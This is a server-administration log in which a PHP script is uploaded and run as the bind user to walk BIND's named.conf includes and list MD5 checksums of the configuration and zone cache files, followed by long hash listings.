MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:45:42: Establishing a connection
2026-04-28 14:45:42: 

PUT: /tmp/pkp980146

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:45:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp980146; rm /tmp/pkp980146'

2026-04-28 14:45:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
